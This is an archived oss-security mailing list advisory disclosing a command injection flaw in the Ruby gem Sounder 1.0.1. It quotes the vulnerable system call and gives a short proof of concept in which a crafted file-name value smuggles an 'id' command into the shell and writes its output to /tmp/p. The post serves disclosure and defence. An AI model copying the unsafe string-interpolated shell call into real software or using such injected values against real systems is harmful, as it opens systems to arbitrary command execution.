[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-id: <4a75dfa3-a36a-49f6-b1bd-374792c4c214@me.com>
Date: Wed, 28 Aug 2013 03:06:14 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Command Injection in Ruby Gem Sounder 1.0.1
Title: Command Injection in Ruby Gem Sounder 1.0.1
Date: 8/10/2013
Author: Larry W. Cashdollar @_larry0
Download: https://rubygems.org/gems/sounder
CVE: TBD
Description:
Sounder is a ruby gem API for Mac OSX's afplay command.
It passes user supplied data directly to command line.
>From lib/sounder/sound.rb:
def play
system %{/usr/bin/afplay "#{@...e}" &}
end
PoC:
irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\""
=> "\"id;/usr/bin/id>/tmp/p;\""
irb(main):099:0> system %{/bin/echo "#{@...e}" }
id
sh: 1: : Permission denied
=> false
irb(main):100:0>
larry@...erfl0w:/tmp$ cat /tmp/p
uid=1000(larry) gid=600(staff) groups=600(user)
Author Notified: 8/9/2013
Advisory: http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html
Content of type "text/html" skipped
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
